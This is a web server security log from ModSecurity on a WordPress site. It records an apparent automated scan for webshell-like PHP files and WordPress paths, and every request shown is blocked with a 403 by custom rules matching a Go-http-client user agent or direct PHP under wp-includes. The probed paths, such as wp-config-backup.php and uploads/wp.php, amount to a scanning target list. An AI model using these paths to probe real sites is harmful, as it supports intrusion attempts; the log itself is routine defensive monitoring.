[Mon May 25 23:12:50.713617 2026] [:error] [pid 62426:tid 62441] [client 194.5.82.11:45275] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/neve/assets/apps/dashboard/build/"] [unique_id "ahRm8kj3D3Mo8ANpTRAzqQAAAAs"]
[Mon May 25 23:12:50.932346 2026] [:error] [pid 62722:tid 62729] [client 194.5.82.15:23565] [client 194.5.82.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ws.php"] [unique_id "ahRm8qM6ssnLWYf6CVBfXQAAAEU"]
[Mon May 25 23:12:51.181747 2026] [:error] [pid 62515:tid 62517] [client 194.5.82.16:64197] [client 194.5.82.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/wp.php"] [unique_id "ahRm8xig0_XsOwmnrv9o4gAAAMA"]
[Mon May 25 23:12:51.392178 2026] [:error] [pid 62515:tid 62523] [client 194.5.82.36:35193] [client 194.5.82.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/"] [unique_id "ahRm8xig0_XsOwmnrv9o4wAAAMY"]
[Mon May 25 23:12:51.606376 2026] [:error] [pid 62428:tid 62506] [client 194.5.82.48:28139] [client 194.5.82.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/includes/"] [unique_id "ahRm85NosGBa7mui3VR7ogAAAJY"]
[Mon May 25 23:12:51.817542 2026] [:error] [pid 53791:tid 53802] [client 194.5.82.7:60509] [client 194.5.82.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/preformatted/"] [unique_id "ahRm8yCRhhNTD40Nf1U4CwAAAYk"]
[Mon May 25 23:12:52.114545 2026] [:error] [pid 62428:tid 62504] [client 194.5.82.12:20011] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/classwithtostring.php"] [unique_id "ahRm9JNosGBa7mui3VR7pAAAAJQ"]
[Mon May 25 23:12:52.620960 2026] [:error] [pid 62515:tid 62540] [client 194.5.82.15:52579] [client 194.5.82.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/user.php"] [unique_id "ahRm9Big0_XsOwmnrv9o7gAAANc"]
[Mon May 25 23:12:53.205703 2026] [:error] [pid 62428:tid 62505] [client 194.5.82.49:30379] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "ahRm9ZNosGBa7mui3VR7pgAAAJU"]
[Mon May 25 23:12:53.416908 2026] [:error] [pid 62515:tid 62530] [client 194.5.82.11:57341] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/module.php"] [unique_id "ahRm9Rig0_XsOwmnrv9o7wAAAM0"]
[Mon May 25 23:12:53.627822 2026] [:error] [pid 62515:tid 62537] [client 194.5.82.48:36039] [client 194.5.82.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "ahRm9Rig0_XsOwmnrv9o8AAAANQ"]
[Mon May 25 23:12:53.897020 2026] [:error] [pid 62428:tid 62487] [client 194.5.82.52:42635] [client 194.5.82.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "ahRm9ZNosGBa7mui3VR7rAAAAIM"]
[Mon May 25 23:12:54.119055 2026] [:error] [pid 62722:tid 62725] [client 194.5.82.32:47529] [client 194.5.82.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/missing/"] [unique_id "ahRm9qM6ssnLWYf6CVBfYgAAAEE"]
[Mon May 25 23:12:54.381711 2026] [:error] [pid 62428:tid 62488] [client 194.5.82.50:64645] [client 194.5.82.50] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-signin.php"] [unique_id "ahRm9pNosGBa7mui3VR7rQAAAIQ"]
[Mon May 25 23:12:54.594060 2026] [:error] [pid 3698:tid 3701] [client 194.5.82.25:24061] [client 194.5.82.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/buy.php"] [unique_id "ahRm9gtZBEwA4fyFLKMJwwAAAQE"]
[Mon May 25 23:12:54.809734 2026] [:error] [pid 62428:tid 62502] [client 194.5.82.165:46165] [client 194.5.82.165] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php"] [unique_id "ahRm9pNosGBa7mui3VR7sAAAAJI"]
[Mon May 25 23:12:55.021393 2026] [:error] [pid 62426:tid 62444] [client 194.5.82.40:58529] [client 194.5.82.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/news-portal/user-install.php"] [unique_id "ahRm90j3D3Mo8ANpTRAztAAAAA4"]
[Mon May 25 23:12:55.273380 2026] [:error] [pid 62428:tid 62495] [client 194.5.82.12:33221] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/system_core.php"] [unique_id "ahRm95NosGBa7mui3VR7sgAAAIs"]
[Mon May 25 23:12:55.487605 2026] [:error] [pid 3698:tid 3704] [client 194.5.82.46:61601] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin.php"] [unique_id "ahRm9wtZBEwA4fyFLKMJxAAAAQQ"]
[Mon May 25 23:12:55.705051 2026] [:error] [pid 62428:tid 62504] [client 194.5.82.19:40671] [client 194.5.82.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/chosen.php"] [unique_id "ahRm95NosGBa7mui3VR7swAAAJQ"]
[Mon May 25 23:12:55.916019 2026] [:error] [pid 62426:tid 62439] [client 194.5.82.9:31739] [client 194.5.82.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/media/"] [unique_id "ahRm90j3D3Mo8ANpTRAzuwAAAAk"]
[Mon May 25 23:12:56.126063 2026] [:error] [pid 62426:tid 62442] [client 194.5.82.26:52027] [client 194.5.82.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/config.php"] [unique_id "ahRm-Ej3D3Mo8ANpTRAzvQAAAAw"]
[Mon May 25 23:12:56.376252 2026] [:error] [pid 3698:tid 3718] [client 194.5.82.32:42959] [client 194.5.82.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/freeform/"] [unique_id "ahRm-AtZBEwA4fyFLKMJxwAAARI"]
[Mon May 25 23:12:56.594989 2026] [:error] [pid 3698:tid 3724] [client 194.5.82.13:31147] [client 194.5.82.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/button/"] [unique_id "ahRm-AtZBEwA4fyFLKMJyQAAARg"]
[Mon May 25 23:12:56.807833 2026] [:error] [pid 62428:tid 62493] [client 194.5.82.16:31703] [client 194.5.82.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/login.php"] [unique_id "ahRm-JNosGBa7mui3VR7tgAAAIk"]
[Mon May 25 23:12:57.062188 2026] [:error] [pid 62426:tid 62441] [client 194.5.82.29:23649] [client 194.5.82.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/database.php"] [unique_id "ahRm-Uj3D3Mo8ANpTRAzwAAAAAs"]
[Mon May 25 23:12:57.273491 2026] [:error] [pid 62426:tid 62432] [client 194.5.82.28:61749] [client 194.5.82.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ectoplasm/"] [unique_id "ahRm-Uj3D3Mo8ANpTRAzwgAAAAI"]
[Mon May 25 23:12:57.495593 2026] [:error] [pid 62515:tid 62522] [client 194.5.82.166:63311] [client 194.5.82.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "ahRm-Rig0_XsOwmnrv9o_AAAAMU"]
[Mon May 25 23:12:57.705599 2026] [:error] [pid 53791:tid 53817] [client 194.5.82.21:64273] [client 194.5.82.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/gallery/"] [unique_id "ahRm-SCRhhNTD40Nf1U4DgAAAZg"]
[Mon May 25 23:12:57.917861 2026] [:error] [pid 62426:tid 62446] [client 194.5.82.7:64653] [client 194.5.82.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/autoload_classmap.php"] [unique_id "ahRm-Uj3D3Mo8ANpTRAzyAAAABA"]
[Mon May 25 23:12:58.128944 2026] [:error] [pid 62426:tid 62453] [client 194.5.82.22:55455] [client 194.5.82.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-supports/chosen.php"] [unique_id "ahRm-kj3D3Mo8ANpTRAzyQAAABc"]
[Mon May 25 23:12:58.381581 2026] [:error] [pid 62426:tid 62439] [client 194.5.82.10:59363] [client 194.5.82.10] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/group/"] [unique_id "ahRm-kj3D3Mo8ANpTRAzzAAAAAk"]
[Mon May 25 23:12:58.593448 2026] [:error] [pid 3698:tid 3712] [client 194.5.82.33:25105] [client 194.5.82.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/template-singl-portfolio.php"] [unique_id "ahRm-gtZBEwA4fyFLKMJzQAAAQw"]
[Mon May 25 23:12:58.803309 2026] [:error] [pid 62426:tid 62442] [client 194.5.82.35:41355] [client 194.5.82.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/media-text/"] [unique_id "ahRm-kj3D3Mo8ANpTRAzzgAAAAw"]
[Mon May 25 23:12:59.020046 2026] [:error] [pid 62426:tid 62430] [client 194.5.82.48:57139] [client 194.5.82.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/we.php"] [unique_id "ahRm-0j3D3Mo8ANpTRAzzwAAAAA"]
[Mon May 25 23:12:59.230326 2026] [:error] [pid 62426:tid 62434] [client 194.5.82.45:56457] [client 194.5.82.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "ahRm-0j3D3Mo8ANpTRAz0gAAAAQ"]
[Mon May 25 23:12:59.475685 2026] [:error] [pid 53791:tid 53795] [client 194.5.82.43:31879] [client 194.5.82.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/files.php"] [unique_id "ahRm-yCRhhNTD40Nf1U4DwAAAYI"]
[Mon May 25 23:12:59.691658 2026] [:error] [pid 62427:tid 62479] [client 194.5.82.51:20953] [client 194.5.82.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentynineteen/sass/site/"] [unique_id "ahRm-_MUa83fc4GDyByP7AAAAVY"]
[Mon May 25 23:12:59.915615 2026] [:error] [pid 62722:tid 62728] [client 194.5.82.14:27493] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "ahRm-6M6ssnLWYf6CVBfZwAAAEQ"]
[Mon May 25 23:13:00.129944 2026] [:error] [pid 53791:tid 53798] [client 194.5.82.24:62613] [client 194.5.82.24] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/namespaced/Core/"] [unique_id "ahRm_CCRhhNTD40Nf1U4EAAAAYU"]
[Mon May 25 23:13:00.374143 2026] [:error] [pid 62427:tid 62477] [client 194.5.82.5:23321] [client 194.5.82.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/src/Content/Type/"] [unique_id "ahRm_PMUa83fc4GDyByP7QAAAVQ"]
[Mon May 25 23:13:00.611612 2026] [:error] [pid 62426:tid 62438] [client 194.5.82.6:27305] [client 194.5.82.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyfour/assets/"] [unique_id "ahRm_Ej3D3Mo8ANpTRAz1wAAAAg"]
[Mon May 25 23:13:00.822273 2026] [:error] [pid 62426:tid 62435] [client 194.5.82.18:49445] [client 194.5.82.18] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/file.php"] [unique_id "ahRm_Ej3D3Mo8ANpTRAz2AAAAAU"]
[Mon May 25 23:13:01.033603 2026] [:error] [pid 3698:tid 3717] [client 194.5.82.45:55033] [client 194.5.82.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/src/Core/"] [unique_id "ahRm_QtZBEwA4fyFLKMJ1gAAARE"]
[Mon May 25 23:13:01.247871 2026] [:error] [pid 62515:tid 62523] [client 194.5.82.6:20809] [client 194.5.82.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/library/"] [unique_id "ahRm_Rig0_XsOwmnrv9pAgAAAMY"]
[Mon May 25 23:13:01.475073 2026] [:error] [pid 62426:tid 62449] [client 194.5.82.166:24881] [client 194.5.82.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "ahRm_Uj3D3Mo8ANpTRAz3AAAABM"]
[Mon May 25 23:13:01.685946 2026] [:error] [pid 62426:tid 62440] [client 194.5.82.45:35259] [client 194.5.82.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/themes/"] [unique_id "ahRm_Uj3D3Mo8ANpTRAz3QAAAAo"]
[Mon May 25 23:13:01.899543 2026] [:error] [pid 62427:tid 62473] [client 194.5.82.16:56119] [client 194.5.82.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/widgets/"] [unique_id "ahRm_fMUa83fc4GDyByP7wAAAVA"]
[Mon May 25 23:13:02.111510 2026] [:error] [pid 62427:tid 62476] [client 194.5.82.28:51955] [client 194.5.82.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/radio.php"] [unique_id "ahRm_vMUa83fc4GDyByP8QAAAVM"]
[Mon May 25 23:13:02.325359 2026] [:error] [pid 53791:tid 53806] [client 194.5.82.45:41295] [client 194.5.82.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/wp-config-backup.php"] [unique_id "ahRm_iCRhhNTD40Nf1U4FAAAAY0"]
[Mon May 25 23:13:02.591126 2026] [:error] [pid 62426:tid 62435] [client 194.5.82.166:43261] [client 194.5.82.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/src/Exception/"] [unique_id "ahRm_kj3D3Mo8ANpTRAz5AAAAAU"]
[Mon May 25 23:13:03.365863 2026] [:error] [pid 62515:tid 62517] [client 194.5.82.41:30023] [client 194.5.82.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "ahRm_xig0_XsOwmnrv9pEQAAAMA"]
[Mon May 25 23:13:03.577896 2026] [:error] [pid 62426:tid 62438] [client 194.5.82.34:62873] [client 194.5.82.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "ahRm_0j3D3Mo8ANpTRAz8QAAAAg"]
[Mon May 25 23:13:03.789072 2026] [:error] [pid 62427:tid 62458] [client 194.5.82.13:27523] [client 194.5.82.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/theme/about.php"] [unique_id "ahRm__MUa83fc4GDyByP8gAAAUE"]
